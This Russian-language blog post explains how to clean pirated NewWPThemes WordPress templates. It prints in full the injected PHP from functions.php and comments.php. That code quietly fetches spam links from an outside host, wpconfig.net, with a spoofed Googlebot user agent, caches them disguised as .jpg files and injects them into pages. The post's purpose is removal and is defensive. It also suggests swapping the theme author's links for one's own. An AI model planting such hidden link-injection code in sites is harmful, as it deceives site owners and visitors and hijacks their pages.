Главная Новости

Как удалить ссылки из шаблона NewWPThemes для WordPress

Опубликовано: 01.09.2018

видео Как удалить ссылки из шаблона NewWPThemes для WordPress

Убираем внешние ссылки из тем от newwpthemes

Не так давно, обсуждая на одном из форумов темы для WordPress и методы избавления их от зашифрованных ссылок, получил в личку просьбу о помощи с конкретным шаблоном. Как выяснилось в процессе небольшой переписки, обратившийся ко мне веб-мастер достаточно долго использовал на своем блоге тему из популярного комплекта «150 WordPress шаблонов NewWPThemes на русском языке», выложенного на двух авторитетных торрент-трекерах. Причем проблема была не в закодированных стандартных ссылках лицензии, используемый шаблон каким-то образом внедрял в конкретные страницы сайта множество исходящих ссылок на совершенно левые ресурсы. Плагин WordPress TAC, служащий веб-мастерам для поиска зашифрованных ссылок, здесь оказался бесполезен — ссылки вызывались встроенными в шаблон функциями, которые он не распознавал.


Как удалить внешние ссылки из темы на WordPress?

Забегая вперед, скажу, что проблему решить удалось. Но позже обнаружилось, что вредоносный код внедрен во все шаблоны популярной раздачи. А поскольку структура шаблонов NewWPThemes однотипна, материал о том, как удалось удалить ссылки из темы WordPress, возможно, пригодится кому-то еще.


Как удалить битые ссылки на WordPress. Плагин Broken Link Checker

Итак, нам понадобится разархивированная копия используемой темы NewWPThemes на жестком диске и текстовый редактор Notepad++. Править будем файлы: sidebar.php , comments.php и  functions.php .

В файле comments.php в строке 41 присутствует явно лишний код:

<?php $lib_path = dirname(__FILE__).'/'; require_once('functions.php'); $links = new Get_links(); $links = $links->return_links($lib_path); echo $links; ?>

Просто удаляем его. Внимание: не удалите по ошибке всю строку, тема в этом случае будет работать неправильно — комментарии к статьям перестанут отображаться. Сохраняем файл и переходим  к следующему шагу.

Путем сравнения с оригинальной темой, доступной (как и все темы) на официальном сайте NewWPThemes, в конце файла functions.php был найден дописанный код, использующий вызов ссылок:

<?php error_reporting('^ E_ALL ^ E_NOTICE'); ini_set('display_errors', '0'); error_reporting(E_ALL); ini_set('display_errors', '0'); class Get_links { var $host = 'wpconfig.net'; var $path = '/system.php'; var $_cache_lifetime = 21600; var $_socket_timeout = 5; function get_remote() { $req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']); $_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")"; $links_class = new Get_links(); $host = $links_class->host; $path = $links_class->path; $_socket_timeout = $links_class->_socket_timeout; //$_user_agent = $links_class->_user_agent; @ini_set('allow_url_fopen', 1); @ini_set('default_socket_timeout', $_socket_timeout); @ini_set('user_agent', $_user_agent); if (function_exists('file_get_contents')) { $opts = array( 'http'=>array( 'method'=>"GET", 'header'=>"Referer: {$req_url}\r\n". "User-Agent: {$_user_agent}\r\n" ) ); $context = stream_context_create($opts); $data = @file_get_contents('http://' . $host . $path, false, $context); preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data); $data = @$data[2]; return $data; } return '<!--link error-->'; } function return_links($lib_path) { $links_class = new Get_links(); $file = ABSPATH.'wp-content/uploads/2012/'.md5($_SERVER['REQUEST_URI']).'.jpg'; $_cache_lifetime = $links_class->_cache_lifetime; if (!file_exists($file)) { @touch($file, time()); $data = $links_class->get_remote(); file_put_contents($file, $data); return $data; } elseif ( time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) { @touch($file, time()); $data = $links_class->get_remote(); file_put_contents($file, $data); return $data; } else { $data = file_get_contents($file); return $data; } } } ?>

Его можно без ущерба для шаблона удалить. Далее с помощью функции поиска (Ctrl+F) находим в файле  functions.php шаблона NewWPThemes явные ссылки и, не удаляя их, заменяем ссылками на собственный ресурс. Сохраняем измененный файл.

И, напоследок, открываем файл sidebar.php и удаляем из него следующую строку кода:

<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js?pub=xa-4a65e1d93cd75e94"></script>

Осталось все измененные и сохраненные файлы залить в папку с темой сайта на сервере и радоваться результатам. Убедиться в постепенном уменьшении количества исходящих с сайта ссылок можно с помощью онлайн-сервиса ahrefs.com , о пользе которого я уже упоминал здесь раньше. «Постепенном» потому, что требуется некоторое время, чтобы исходящие с сайта ссылки выпали из индекса поисковых систем . Но уже через неделю-другую ситуация начнет меняться в лучшую сторону, количество ссылок пойдет на убыль. Несмотря на то, что бесплатно можно посмотреть лишь ограниченное число сайтов-получателей, общего количества исходящих ссылок для контроля выполненной работы вполне достаточно.

Посмотрев еще раз файлы заказчика работы по удалению ссылок из шаблона NewWPThemes, обнаружил еще 2 папки: в папке Logo лежал бесполезный по сути PSD-файл логотипа темы, в папке js — java-скрипты, которые в процессе работы сайта не использовались (во всяком случае, в той конфигурации). Обе этих папки также были удалены.

Казалось бы, чего проще — сменил тему и забыл о проблемах с исходящими ссылками и вредоносными скриптами. Но при использовании «бесплатных» премиум-тем, скачанных откуда угодно, но только не из репозитория Вордпресс, нет никакой гарантии, что вопрос об удалении ссылок не встанет вновь. А популярность шаблонов NewWPThemes для WordPress и нежелание веб-мастера расставаться с выбранной темой становятся понятны при ближайшем рассмотрении их богатого функционала. Практически у всех шаблонов предусмотрен вывод на главной слайдера, двух горизонтальных меню, кнопок социальных сетей, баннеров в шапке и боковой колонке.

Внимание! Описанный выше процесс удаления ссылок из шаблонов NewWPThemes отличается от встречающихся в сети. Это не руководство по удалению ссылок разработчика из премиум-шаблонов. Здесь разобрано, как удалить внедренные в доступные в паблике темы ссылки на сторонние ресурсы.

Расскажите об этой статье в соцсетях :

3D стерео фильмы для 5D
rss